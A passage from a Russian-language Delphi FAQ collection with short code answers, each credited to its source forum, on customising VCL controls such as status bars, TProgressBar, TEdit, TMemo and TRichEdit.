  {СОздаем панель, которая будет содержать графику ресурсов}
  ResPanel := TPanel.Create(Self);
  ResPanel.Parent := Self;
  SetupPanel(ResPanel, '                    ');
  {Создаем 2 Gauges, которые размещаем на Resource Panel}
  ResGauge := TGauge.Create(Self);
  ResGauge.Parent := ResPanel;
  ResGauge.Align := alClient;

  ResGauge.ParentFont := True;
  ResGauge.BackColor := Color;
  ResGauge.ForeColor := clLime;
  ResGauge.BorderStyle := bsNone;
  {Создаем панель, которая будет отображать состояние CapsLock}
  CapPanel := TPanel.Create(Self);
  CapPanel.Parent := Self;
  SetupPanel(CapPanel, '  Cap  ');
  {Создаем панель, которая будет отображать состояние NumLock}
  NumPanel := TPanel.Create(Self);
  NumPanel.Parent := Self;
  SetupPanel(NumPanel, '  Num  ');

  {Создаем панель, которая будет отображать состояние Insert/Overwrite}
  InsPanel := TPanel.Create(Self);
  InsPanel.Parent := Self;
  SetupPanel(InsPanel, '  Ins  ');
  {Создаем панель, которая будет отображать текст состояния}
  HelpPanel := TPanel.Create(Self);
  HelpPanel.Parent := Self;
  SetupPanelFields(HelpPanel);
  {Имеем вспомогательную панель, занимающую все остальное пространство}
  HelpPanel.Align := alClient;
  HelpPanel.Alignment := taLeftJustify;

  {Это таймер, который регулярно обновляет строку состояния}
  FTimer := TTimer.Create(Self);
  if FTimer <> nil then
  begin
    FTimer.OnTimer := UpdateStatusBar;
    {Обновление происходит дважды в секунду}
    FTimer.Interval := 500;
    FTimer.Enabled := True;
  end;
end;

destructor TStatus.Destroy;
begin

  FTimer.Free;
  HelpPanel.Free;

  InsPanel.Free;
  NumPanel.Free;
  CapPanel.Free;
  ResGauge.Free;
  ResPanel.Free;
  DateTimePanel.Free;
  inherited Destroy;
end;

procedure TStatus.SetDate(A: Boolean);
begin

  FDate := A;
  UpdateWidth := True;
end;

procedure TStatus.SetKeys(A: Boolean);
begin

  FKeys := A;
  UpdateWidth := True;
end;

procedure TStatus.SetTime(A: Boolean);
begin

  FTime := A;
  UpdateWidth := True;
end;

procedure TStatus.SetResources(A: Boolean);
begin

  FResources := A;
  UpdateWidth := True;
end;

{Если мы получаем или устанавливаем заголовок TStatus, то вместо этого задаем
заголовок HelpPanel}

procedure TStatus.SetCaption(A: string);
begin

  HelpPanel.Caption := ' ' + A;
end;

function TStatus.GetCaption: string;
begin

  GetCaption := HelpPanel.Caption;
end;

{Данная процедура устанавливает соответствующие заголовки}

procedure TStatus.UpdateStatusBar(Sender: TObject);
begin

  if ShowDate and ShowTime then
    DateTimePanel.Caption := DateTimeToStr(Now)
  else if ShowDate and not ShowTime then
    DateTimePanel.Caption := DateToStr(Date)
  else if not ShowDate and ShowTime then

    DateTimePanel.Caption := TimeToStr(Time)
  else
    DateTimePanel.Caption := '';
  if UpdateWidth then
    with DateTimePanel do
      if ShowDate or ShowTime then
        Width := Canvas.TextWidth(' ' + Caption + ' ')
      else
        Width := 0;
  if ShowResources then
  begin
    ResGauge.Progress := GetFreeSystemResources(GFSR_SYSTEMRESOURCES);

    if ResGauge.Progress < 20 then
      ResGauge.ForeColor := clRed
    else
      ResGauge.ForeColor := clLime;
  end;
  if UpdateWidth then
    if ShowResources then
      ResPanel.Width := Canvas.TextWidth('                    ')
    else
      ResPanel.Width := 0;
  if ShowKeys then
  begin
    if (GetKeyState(vk_NumLock) and $01) <> 0 then

      NumPanel.Caption := '  Num  '
    else
      NumPanel.Caption := '';
    if (GetKeyState(vk_Capital) and $01) <> 0 then
      CapPanel.Caption := '  Cap  '
    else
      CapPanel.Caption := '';
    if (GetKeyState(vk_Insert) and $01) <> 0 then
      InsPanel.Caption := '  Ins  '
    else
      InsPanel.Caption := '';
  end;
  if UpdateWidth then
    if ShowKeys then

    begin
      NumPanel.Width := Canvas.TextWidth(' Num ');
      InsPanel.Width := Canvas.TextWidth(' Ins ');
      CapPanel.Width := Canvas.TextWidth(' Cap ');
    end
    else
    begin
      NumPanel.Width := 0;
      InsPanel.Width := 0;
      CapPanel.Width := 0;
    end;
  UpdateWidth := False;
end;

{Позволяем изменять шрифты, используемые панелями для вывода текста}

procedure TStatus.CMFontChanged(var Message: TMessage);
begin

  inherited;
  UpdateWidth := True;
end;

end.

interface

implementation

end.

Взято с http://delphiworld.narod.ru


TProgressBar

Cодержание раздела:

Как изменить стандартный цвет ProgressBar?

См. также статьи в других разделах:
Как поместить ProgressBar в панель StatusBar?
Как при выполнении долгой операции в Oracle показать прогресс бар?


Как изменить стандартный цвет ProgressBar?

Самый простой способ, это изменить цветовую схему в свойствах экрана...

А вот при помощи следующей команды можно разукрасить ProgressBar не изменяя системных настроек:

PostMessage(ProgressBar1.Handle, $0409, 0, clGreen);

Вуаля! Теперь Progress Bar зелёный. Это всего лишь простой пример чёрной магии ;)

Взято из http://forum.sources.ru


TEdit, TSpinEdit

Cодержание раздела:

Как сделать выравнивание по правому краю в TEdit?
Отслеживаем позицию курсора в EditBox.
Элемент управления Edit, реагирующий на событие OnTimer.
Как заставить TEdit не пикать при нажатии недопустимых клавиш?
Как автоматически расширить TEdit?
Как очистить все окошки редактирования на форме?
Как сделать, чтобы TEdit воспринимал одни цифры и DecimalSeparator?
Как перехватить клавишу табуляции (Tab) в TEdit?
Как узнать физические координаты каретки в пикселях?
Как ограничить длинну вводимого текста шириной TEdit'а?
Как назначить событие на увеличение/уменьшение TSpinEdit с помощью стрелочек? New!

См. также статьи в других разделах:
Как создать каретку свой собственной формы?
Как перехватить Ctrl-V в компоненте TMemo?
Режим замены
Можно ли изменить вид текстового курсора (каретки) edit'а или другого элемента?

См. также другие разделы:
TMemo
TRichEdit


Как сделать выравнивание по правому краю в TEdit?

type
  TNumEdit = class(TEdit)
    procedure CreateParams(var Params: TCreateParams); override;
.......

procedure TNumEdit.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  Params.Style := Params.Style or ES_MULTILINE or ES_RIGHT;
end;

Автор ответа: МММ
Взято с Vingrad.ru http://forum.vingrad.ru

{ Пример TEdit с правым выравниванием
© Song }

type
 TForm1 = class(TForm)
   procedure FormCreate(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

{ Обявляем класс нашего едита как потомок от стандартного}
type TMySuperEdit=class(TCustomEdit)
public
  { Внутри класса переопредялем процедуру CreateParams,
     т.к. нужный нам стиль можно изменить только на создании или пересоздании
     окна  }
 Procedure CreateParams(Var Params: TCreateParams); override;
end;

var
 Form1: TForm1;

implementation

{$R *.dfm}

Procedure TMySuperEdit.CreateParams(Var Params: TCreateParams);
Begin
 { Вызываем родительский обработчик, чтобы он сделал все процедуры по созданию объекта класса }
inherited CreateParams(Params);
  { Изменяем стиль }
With Params Do Style:=Style or ES_RIGHT;
End;

procedure TForm1.FormCreate(Sender: TObject);
begin
 { Создаём едит на основе нашего класса и кладём его на форму }
With TMySuperEdit.Create(Self) Do Parent:=Self;
end;

Автор: Song

Взято из http://forum.sources.ru

Идея заключается в том, как сделать правое выравнивание текста в TEdit, не прибегая к написанию нового компонента.

Для этого можно воспользоваться канвасом. Так как TEdit не имеет канваса, то сперва мы создадим TControlCanvas а затем, прикрепим TEdit к этому канвасу.

Теперь нам доступны все свойства и методы TControlCanvas, поэтому мы спокойно можем настраивать в нём текст. Ниже приведёна процедура, реализующая всё вышесказанное.

procedure RJustifyEdit(var ThisEdit : TEdit);
var
 Left, Width : Integer;
 GString : String;
 Rgn : TRect;
 TheCanvas : TControlCanvas;
begin
  TheCanvas := TControlCanvas.Create;
  try
    TheCanvas.Control := ThisEdit;
    GString := ThisEdit.Text;
    Rgn     := ThisEdit.ClientRect;
    TheCanvas.FillRect(Rgn);
    Width   := TheCanvas.TextWidth(GString);
    Left := Rgn.Right - Width - 1;
    TheCanvas.TextRect(Rgn, Left, 0, GString);
  finally
    TheCanvas.Free;
  end ;
end;

Взято из http://forum.sources.ru


Отслеживаем позицию курсора в EditBox.

В форму добавляются TEditBox и TLabel, при этом TLabel постоянно показывает позицию курсора в элементе редактирования.

procedure TForm1.Edit1Change(Sender: TObject);
begin
CurPos := Edit1.SelStart;
Label1.Caption := IntToStr(CurPos);
end;

procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
If Key = VK_LEFT then dec(CurPos);
if Key = VK_RIGHT then inc(CurPos);
Label1.Caption:= IntToStr(CurPos);
end;

Взято из http://forum.sources.ru


Элемент управления Edit, реагирующий на событие OnTimer.

Как-то раз встала такая проблема: если пользователь какое-то время ничего не вводит в элемент управления Edit, то предупредить его об этом.

unit EditOnTime;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls;

type
TEditOnTime = class(TEdit)
private
  FInterval: integer;
  FTimer: TTimer;
  FOnTimer: TNotifyEvent;
  procedure SetInterval(Interval: integer);
  procedure Timer(Sender: TObject);
protected
  procedure KeyPress(var Key: char); override;
public
  constructor Create(AOwner: TComponent); override;
  destructor Destroy; override;
published
  property Interval: integer read FInterval write SetInterval default 750;
property OnTimer: TNotifyEvent read FOnTimer write FOnTimer;
end;

procedure Register;

implementation

//******************* RegisterComponent
// Здесь мы регистрируем компонент в IDE
procedure Register;
begin
RegisterComponents('MPS', [TEditOnTime]);
end;

//******************* TEditOnTime.SetInterval
// устанавливаем интервал таймера
procedure TEditOnTime.SetInterval(Interval: integer);
begin
FInterval := Interval;
if Assigned(FTimer) then
  FTimer.Interval := FInterval;
end;

//******************* TEditOnTime.Create
constructor TEditOnTime.Create(AOwner: TComponent);
begin
FInterval := 750;
inherited Create(AOwner);
if not (csDesigning in ComponentState) then
  try
   FTimer := TTimer.Create(self);
   FTimer.Enabled := false;
   FTimer.Interval := FInterval;
   FTimer.OnTimer := Timer;
  except
   FreeAndNil(FTimer);
  end;
end;

//******************* TEditOnTime.Destroy
destructor TEditOnTime.Destroy;
begin
if Assigned(FTimer) then FreeAndNil(FTimer);
inherited Destroy;
end;

//******************* TEditOnTime.OnTimer
procedure TEditOnTime.Timer(Sender: TObject);
begin
FTimer.Enabled := false;
if Assigned(FOnTimer) then FOnTimer(self);
end;

//******************* TEditOnTime.KeyPress
procedure TEditOnTime.KeyPress(var Key: char);
begin
FTimer.Enabled := false;
inherited KeyPress(Key);
FTimer.Enabled := (Text <> '') and Assigned(FTimer) and Assigned(FOnTimer);
end;

end.

Взято из http://forum.sources.ru


Как заставить TEdit не пикать при нажатии недопустимых клавиш?

Перехватите событие KeyPress и установите key = #0 для недопустимых клавиш.

procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
  if ((UpCase(Key) < 'A') or (UpCase(Key) > 'Z')) then Key := #0;
end;

Взято из http://forum.sources.ru


Как автоматически расширить TEdit?

Следующий компонент автоматически подстраивается под текст, вводимый в него:

unit ExpandingEdit;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

type
  TExpandingEdit = class(TEdit)
  private
    FCanvas: TControlCanvas;
  protected
    procedure Change; override;
  public
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
  end;

procedure Register;

implementation

constructor TExpandingEdit.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  FCanvas := TControlCanvas.Create;
  FCanvas.Control := Self;
end;

destructor TExpandingEdit.Destroy;
begin
  FCanvas.Free;
  inherited Destroy;
end;

procedure TExpandingEdit.Change;
const
  EditMargin = 8;
var
  W: Integer;
begin
  inherited Change;
  if not HandleAllocated then Exit;
  FCanvas.Font := Font;
  W := FCanvas.TextWidth(Text) + (2 * EditMargin);
  if (Width < W) then Width := W;
end;

procedure Register;
begin
  RegisterComponents('Samples', [TExpandingEdit]);
end;

end.

Взято из http://forum.sources.ru


Как сделать, чтобы TEdit воспринимал одни цифры и DecimalSeparator?

Автор: Full ( http://full.hotmail.ru/ )

type
TNumEdit = class(TEdit)
procedure CreateParams(var Params: TCreateParams); override;
procedure KeyPress(var Key: Char); override;
end;

procedure Register;

implementation

procedure Register;
begin
RegisterComponents('Standard', [TNumEdit]);
end;

procedure TNumEdit.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
Params.Style := Params.Style or ES_MULTILINE or ES_RIGHT;
end;

procedure TNumEdit.KeyPress(var Key: Char);
begin
case key of
'0'..'9': ; // цифры
#8: ; // забой
'.', ',': if Pos(DecimalSeparator, Text)=0 then Key:=DecimalSeparator else Key:=#0; // десятичный разделитель
else key:=#0;
end; // case
end;

end.

Взято из http://forum.sources.ru


Как очистить все окошки редактирования на форме?

procedure ClearEdits;
 var i : Integer;
begin
for i := 0 to ComponentCount-1 do
  if (Components[i] is TEdit) then
    (Components[i] as TEdit).Text := '';
end;

Взято из http://forum.sources.ru


Как перехватить клавишу табуляции (Tab) в TEdit?

Это можно давольно легко сделать переопределив на форме процедуру CMDialogKey. Чтобы посмотреть как это работает, поместите на форму Edit и введите следующий код:

procedure CMDialogKey(Var Msg: TWMKey);
message CM_DIALOGKEY;
...
procedure TForma.CMDialogKey(Var Msg: TWMKEY);
begin
  if (ActiveControl is TEdit) and
      (Msg.Charcode = VK_TAB) then
  begin
   ShowMessage('Нажата клавиша TAB?');
  end;
  inherited;
end;

Взято из http://forum.sources.ru


Как узнать физические координаты каретки в пикселях?

{TRichEdit}

var
  pt: TPoint;
begin
  with richedit1 do
  begin
    Perform(messages.EM_POSFROMCHAR, WPARAM(@pt), selstart);
    label1.caption := Format('(%d, %d)', [pt.x, pt.y]);
  end;
end;

{TMemo and TEdit}

var
  r: LongInt;
begin
  with memo1 do
  begin
    r := Perform(messages.EM_POSFROMCHAR, selstart, 0);
    if r >= 0 then
    begin
      label1.caption := IntToStr(HiWord(r));
      label2.caption := IntToStr(LoWord(r));
    end;
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как ограничить длинну вводимого текста шириной TEdit'а?

Как ограничить длинну текста, вводимого в TEdit, так чтобы ширина текста не превышала
ширину TEdit'а?

В примере приведено два способа ограничить длинну текста в TEdit так чтобы она не превышала ширину клиентской области окна TEdit'а и не появлялась прокрутка текста. Первый способ устанавливает свойство TEdit'а MaxLength равным числу букв "W", которые поместятся в TEdit. "W" выбрана потому, что является, наверное, самой широкой буквой в любом шрифте. Этот метод сносно работает для шрифтов с фиксированной шириной букв, но для шрифтов с переменной шириной букв вряд ли сгодится. Второй способ перхватывает событие KeyPress TEdit'а и измеряет ширину уже введенного текста и ширину нового символа. Если ширина больше чем клиентская область TEdit'а новый символ отбрасывается и вызывается MessageBeep.

procedure TForm1.FormCreate(Sender: TObject);
var
  cRect: TRect;
  bm: TBitmap;
  s: string;
begin
  Windows.GetClientRect(Edit1.Handle, cRect);
  bm := TBitmap.Create;
  bm.Width := cRect.Right;
  bm.Height := cRect.Bottom;
  bm.Canvas.Font := Edit1.Font;
  s := 'W';
  while bm.Canvas.TextWidth(s) < CRect.Right do
    s := s + 'W';
  if length(s) > 1 then
    begin
      Delete(s, 1, 1);
      Edit1.MaxLength := Length(s);
    end;
end;

{Другой вариант}

procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
var
  cRect: TRect;
  bm: TBitmap;
begin
  if ((Ord(Key) <> VK_TAB) and (Ord(Key) <> VK_RETURN) and
    (Ord(Key) <> VK_LEFT) and (Ord(Key) <> VK_BACK)) then
    begin
      Windows.GetClientRect(Edit1.Handle, cRect);
      bm := TBitmap.Create;
      bm.Width := cRect.Right;
      bm.Height := cRect.Bottom;
      bm.Canvas.Font := Edit1.Font;
      if bm.Canvas.TextWidth(Edit1.Text + Key) > CRect.Right then
        begin
          Key := #0;
          MessageBeep(-1);
        end;
      bm.Free;
    end;
end;


Как назначить событие на увеличение/уменьшение TSpinEdit с помощью стрелочек?

У TSpinEdit.Button есть дополнительные события, которые не показаны в инспекторе объектов, например, OnUpClick и OnDownClick...

unit Unit1;
interface
uses
 Windows, Messages, SysUtils, Classes, Graphics,
 Controls, Forms, Dialogs, StdCtrls, Spin;

type
 TForm1 = class(TForm)
   SpinEdit1: TSpinEdit;
   procedure FormCreate(Sender: TObject);
 public
   procedure OnButtonUpClick(Sender: TObject);
end;

var
 Form1: TForm1;

implementation

 {$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
 SpinEdit1.Button.OnUpClick := OnButtonUpClick;
end;

procedure TForm1.OnButtonUpClick(Sender: TObject);
begin
 MessageDlg('Up Button was clicked.', mtInformation,
   [mbOk], 0);
end;

end.

Автор: p0s0l

Взято с Vingrad.ru http://forum.vingrad.ru


TMemo

Cодержание раздела:

Как сделать Memo с закруглёнными краями?
Как програмно прокрутить Memo?
Как переместить каретку TMemo в нужную строку?
Как получить координаты курсора в memo-поле?
Как сделать отступ в Memo?
Как вставить содержимое файла в текущую позицию TMemo?
Как перехватить Ctrl-V в компоненте TMemo?
Как настроить табуляцию в компоненте TMemo?
Как нарисовать что-нибудь на TMemo?
Как загрузить юникоды в мемо?
Как узнать количество видимых строчек в TMemo?
Дельфи компонент для подкраски синтаксиса Updated!
Режим замены

См. также статьи в других разделах:
Как создать каретку свой собственной формы?
Как сделать pop-up Combobox по позиции курсора в Memo?
Печать содержимого TMemo или TListbox.

См. также другие разделы:
TEdit
TRichEdit


Как сделать Memo с закруглёнными краями?

procedure TForm1.Button1Click(Sender: TObject);
var
  rgn: HRGN;
  r: TRect;
begin
  r := memo1.ClientRect;
  rgn := CreateRoundRectRgn(r.Left, r.top, r.right, r.bottom, 20, 20);
  memo1.BorderStyle := bsNone;
  memo1.Perform(EM_GETRECT, 0, lparam(@r));
  InflateRect(r, -5, -5);
  memo1.Perform(EM_SETRECTNP, 0, lparam(@r));
  SetWindowRgn(memo1.Handle, rgn, true);
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как програмно прокрутить Memo?

Этот пример прокручивает на одну строку вниз.

memo1.Perform(WM_VScroll, SB_LINEDOWN,0);

Возможны так же следующие опции:
SB_BOTTOM
SB_ENDSCROLL
SB_LINEDOWN
SB_LINEUP
SB_PAGEDOWN
SB_PAGEUP
SB_THUMBPOSITION
SB_THUMBTRACK
SB_TOP

TComboBox, TListBox, TRichEdit и т.п можно прокрутить подобным образом

Взято с Vingrad.ru http://forum.vingrad.ru


Как переместить каретку TMemo в нужную строку?

Function SetCaretPosition(memo:TMemo; x,y:integer);
var i:integer;
begin
  i := SendMessage(memo.Handle, EM_LINEINDEX, y, 0) + x;
  SendMessage(memo1.Handle, EM_SETSEL, i, i);
end;

или

type TFake=class(TCustomMemo);

....

TFake(MyMemo).SetCaretPos()

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как получить координаты курсора в memo-поле?

procedure CaretPos(H: THandle; var L,C : Word);
begin
  L := SendMessage(H,EM_LINEFROMCHAR,-1,0);
  C := LoWord(SendMessage(H,EM_GETSEL,0,0)) - SendMessage(H,EM_LINEINDEX,-1,0);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  LineNum,ColNum : Word;
begin
  CaretPos(Memo1.Handle,LineNum,ColNum);
  Edit1.Text := IntToStr(LineNum) + '  ' + IntToStr(ColNum);
end;

Хотя в Delphi 5 свойство CaretPos уже включено в memo.

Взято из http://forum.sources.ru

Как получить номер строки memo, в которой находится курсор?

Для этого необходимо послать сообщение EM_LINEFROMCHAR.

LineNumber :=   Memo1.Perform(EM_LINEFROMCHAR, -1, 0);
Взято из http://forum.sources.ru


Как сделать отступ в Memo?

С помощью API-функции SendMessage можно задать поля в Memo-компоненте. Если необходимо, например, сделать отступ в 20 пикселей слева то можно это сделать следующим образом:

var Rect: TRect;
begin
  SendMessage( Memo1.Handle, EM_GETRECT, 0, LongInt(@Rect));
  Rect.Left:= 20;
  SendMessage(Memo1.Handle, EM_SETRECT, 0, LongInt(@Rect));
  Memo1.Refresh;
end;


Как вставить содержимое файла в текущую позицию TMemo?

Для чтения файла будем использовать TMemoryStream, а затем используем метод SetSelTextBuf() из TMemo, чтобы вставить в него текст:

var
  TheMStream : TMemoryStream;
  Zero : char;
begin
  TheMStream := TMemoryStream.Create;
  TheMStream.LoadFromFile('C:\AUTOEXEC.BAT');
  TheMStream.Seek(0, soFromEnd);
//Буфер завершается нулём!
  Zero := #0;
  TheMStream.Write(Zero, 1);
  TheMStream.Seek(0, soFromBeginning);
  Memo1.SetSelTextBuf(TheMStream.Memory);
  TheMStream.Free;
end;

Взято из http://forum.sources.ru


Как перехватить Ctrl-V в компоненте TMemo?

Следующий пример демонстрирует, как перехватить комбинацию Ctrl-V в компоненте TMemo и поместить в него свой текст вместо того, который в буфере обмена.

Пример:

uses ClipBrd;

procedure TForm1.Memo1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
  if ((Key = ord('V')) and (ssCtrl in Shift)) then begin
    if Clipboard.HasFormat(CF_TEXT) then
      ClipBoard.Clear;
    Memo1.SelText := 'Delphi is RAD!';
    key := 0;
  end;
end;

Взято из http://forum.sources.ru


Как настроить табуляцию в компоненте TMemo?

Пошлите в Memo сообщение EM_SETTABSTOPS

Взято с сайта http://blackman.wp-club.net/

procedure TForm1.FormCreate(Sender: TObject);
var
  DialogUnitsX: LongInt;
  PixelsX: LongInt;
  i: integer;
  TabArray: array[0..4] of integer;
begin
  Memo1.WantTabs := true;
  DialogUnitsX := LoWord(GetDialogBaseUnits);
  PixelsX := 20;
  for i := 1 to 5 do
    begin
      TabArray[i - 1] := ((PixelsX * i) * 4) div DialogUnitsX;
    end;
  SendMessage(Memo1.Handle,
    EM_SETTABSTOPS, 5, LongInt(@TabArray));
  Memo1.Refresh;
end;
Взято из
DELPHI VCL FAQ Перевод с английского
Подборку, перевод и адаптацию материала подготовил Aziz(JINX)
специально для Королевства Дельфи


Как нарисовать что-нибудь на TMemo?

Для рисования на поверхности TMemo необходимо создать создать собственный компонент, наследованный от TMemo и переопределить в нём рисование. Примерно так:

type
  TMyMemo = class(TMemo)
  protected
    procedure WMPaint(var Message: TWMPaint); message WM_PAINT;
  end;

А теперь добавьте реализацию этой процедуры:

procedure TMyMemo.WMPaint(var Message: TWMPaint);
var
  MCanvas: TControlCanvas;
  DrawBounds : TRect;
Begin
  inherited;
  MCanvas:=TControlCanvas.Create;
  DrawBounds := ClientRect;  // Работаем с временной записью TRect.
  Try
   MCanvas.Control:=Self;
   With MCanvas do
   Begin
    Brush.Color := clBtnFace;
    FrameRect( DrawBounds );
    InflateRect( DrawBounds, -1, -1);
    FrameRect( DrawBounds );
    FillRect ( DrawBounds );
    MoveTo ( 33, 0 );
    Brush.Color := clWhite;
    LineTo ( 33, ClientHeight );
    PaintImages;
   end;
  finally
    MCanvas.Free;
  End;
end;

Процедура PaintImages рисует картинки на канвасе Memo.

procedure TMyMemo.PaintImages;
var
  MCanvas: TControlCanvas;
  DrawBounds : TRect;
  i, j : Integer;
  OriginalRegion : HRGN;
  ControlDC : HDC;
begin
  MCanvas:=TControlCanvas.Create;
  DrawBounds := ClientRect;  // Работаем с временной записью TRect.
  try
   MCanvas.Control:=Self;
   ControlDC := GetDC ( Handle );
   MCanvas.Draw(0, 1, Application.Icon);
  finally
    MCanvas.Free;
  end;
end;

Теперь мы имеем собственноручно нарисованный memo.

Взято из http://forum.sources.ru


Как загрузить юникоды в мемо?

procedure LoadUnicodeFile(const filename: string; strings: TStrings);

  procedure SwapWideChars(p: PWideChar);
  begin
    while p^ <> #0000 do
    begin
      p^ := WideChar(Swap(Word(p^)));
      Inc(p);
    end;
  end;

var
  ms: TMemoryStream;
  wc: WideChar;
  pWc: PWideChar;
begin
  ms := TMemoryStream.Create;
  try
    ms.LoadFromFile(filename);
    ms.Seek(0, soFromend);
    wc := #0000;
    ms.Write(wc, sizeof(wc));
    pWC := ms.Memory;
    if pWc^ = #$FEFF then {normal byte order mark}
      Inc(pWc)
    else if pWc^ = #$FFFE then
    begin {byte order is big-endian}
      SwapWideChars(pWc);
      Inc(pWc);
    end
    else
      ; {no byte order mark}
    strings.Text := WideChartoString(pWc);
  finally
    ms.free;
  end;
end;

Использовать

LoadUnicodeFile(filename, memo1.lines);
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как узнать количество видимых строчек в TMemo?

function LinesVisible(Memo: TMemo): integer;
    Var
      OldFont : HFont;
      Hand : THandle;
      TM : TTextMetric;
      Rect  : TRect;
      tempint : integer;
    begin
      Hand := GetDC(Memo.Handle);
      try
        OldFont := SelectObject(Hand, Memo.Font.Handle);
        try
          GetTextMetrics(Hand, TM);
          Memo.Perform(EM_GETRECT, 0, longint(@Rect));
          tempint := (Rect.Bottom - Rect.Top) div
             (TM.tmHeight + TM.tmExternalLeading);
        finally
          SelectObject(Hand, OldFont);
        end;
      finally
        ReleaseDC(Memo.Handle, Hand);
      end;
      Result := tempint;
    end;

Взято из http://forum.sources.ru


Дельфи компонент для подкраски синтаксиса

Результат совместной работы Fanasist'а и меня. Это компонент для Дельфи для известного пакета SynEdit (http://synedit.sourceforge.net), позволяющий на лету создавать подкраску синтаксиса по любым правилам любых форматов (создание и загрузка в run-time, хранение шаблонов на диске). В настоящее время пакет включает в себя более 300 готовых шаблонов для наиболее распространённых форматов, но каждый может создать свой собственный шаблон (можно с помошью компонента или используя прилагающуюся утилиту). Пример использования - простенький текстовый редактор с поддержкой любых расскрасок.

Загрузить можно с:
http://chicago.lastplanet.com/unihighlighter.zip

Платформа: Delphi 5/6/7

Для работы необходимо установить предварительно установить пакет SynEdit (http://synedit.sourceforge.net).

Компонент свободен для распространения и поставляется с исходными кодами.

Логика работы:

Для подкраски синтаксиса необходимо предусмотреть следующие правила:
1) расскраска всего кода в промежутке от одного слова до второго - например комментарии /*...*/ или строки "...."
2) расскраска ключевых слов

Это реализовано, кроме того бывают ситуации когда промежуток должен быть расскрашен по другому с другими правилами например ASP код внутри HTML или ассемблерные вставки внутри Дельфи - это тоже реализовано тем что внутри промежутка можно использовать свои правила и промежутки. Вложенность не лимитирована.

Всем кому интересно, я создал форум для обсуждения компонента, правда сообщения писать только на английском, там уже идёт дисскуссия с авторами проекта SynEdit:

http://www.delphist.com/forum/

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Открыт русскоязыйчный портал для пользователей и разработчиков комполнентов подкраски синтаксиса здесь: http://forum.vingrad.ru/index.php?act=SF&f=170


Режим замены

Элементы управления Windows TEdit и TMemo не имеют режима замены. Однако этот режим можно эмулировать установив свойство SelLength edit'а или memo в 1 при обработке события KeyPress. Это заставит его перезаписывать символ в текущей позиции курсора. В примере этот способ используется для TMemo. Режим вставка/замена переключается клавишей "Insert".

Пример:

type
    TForm1 = class(TForm)
        Memo1: TMemo;
        procedure Memo1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
        procedure Memo1KeyPress(Sender: TObject; var Key: Char);
private
    {Private declarations}
        InsertOn : bool;
public
    {Public declarations}
end;

var
   Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Memo1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
    if (Key = VK_INSERT) and (Shift = []) then
        InsertOn := not InsertOn;
end;

procedure TForm1.Memo1KeyPress(Sender: TObject; var Key: Char);
begin
    if ((Memo1.SelLength = 0) and (not InsertOn)) then
        Memo1.SelLength := 1;
end;

Автор: Song

Взято из http://forum.sources.ru


TRichEdit

Cодержание раздела:

Как поместить данные в RichEdit контрол?
Как вставить картинку в RichEdit?
Как менять шрифт в RichEdit горячими клавишами?
Как получить определённую часть текста из RichEdit?
Как прокрутить TRichEdit в конец?
Установка каретки в RichEdit
Как скопировать содержимое одного RichEdit в другой?
Позиция курсора в TRichEdit
Как из RXRichEdit сохранить в RTF формате?
Как копировать RTF текст в буффер обмена?
Как использовать верхние и нижние индексы?
Как указать максимальный размер текста для RichEdit Control?
How to render a TRichEdit text onto a canvas? New!
Как выделить URL в TRichEdit? New!
Подсветка синтаксиса New!
Таблицу в clipboard New!
Предпросмотр/печать TRichEdit New!

См. также статьи в других разделах:
Как поместить TCheckBox внутри TRichEdit?
Как создать каретку свой собственной формы?
Как перехватить Ctrl-V в компоненте TMemo?
Режим замены
Как сохранить RTF в TBlobfield?
Связать поле BLOB таблицы Paradox с компонентом TRichEdit через потоки

См. также другие разделы:
TMemo
TEdit


Как поместить данные в RichEdit контрол?

unit dbrich;
interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ComCtrls, DB, DBTables, Menus, ExtCtrls, Mask, Buttons, DBCtrls;

//Замечание: вызывать Tablex.Edit необходимо перед изменением свойства paragraph

type
  TDBRichEdit = class(TRichEdit)
  private
    FDataLink: TFieldDataLink;
    FAutoDisplay: Boolean;
    FFocused: Boolean;
    FMemoLoaded: Boolean;
    FPaintControl: TPaintControl;
    procedure DataChange(Sender: TObject);
    procedure EditingChange(Sender: TObject);
    function  GetDataField: string;
    function  GetDataSource: TDataSource;
    function  GetField: TField;
    function  GetReadOnly: Boolean;
    procedure SetDataField(const Value: string);
    procedure SetDataSource(Value: TDataSource);
    procedure SetReadOnly(Value: Boolean);
    procedure SetAutoDisplay(Value: Boolean);
    procedure SetFocused(Value: Boolean);
    procedure UpdateData(Sender: TObject);
    procedure WMCut(var Message: TMessage); message WM_CUT;
    procedure WMPaste(var Message: TMessage); message WM_PASTE;
    procedure CMEnter(var Message: TCMEnter); message CM_ENTER;
    procedure CMExit(var Message: TCMExit); message CM_EXIT;
    procedure WMLButtonDblClk(var Message: TWMLButtonDblClk);
      message WM_LBUTTONDBLCLK;
    procedure WMPaint(var Message: TWMPaint); message WM_PAINT;
    procedure CMGetDataLink(var Message: TMessage); message CM_GETDATALINK;
  protected
    procedure Change; override;
    procedure KeyDown(var Key: Word; Shift: TShiftState); override;
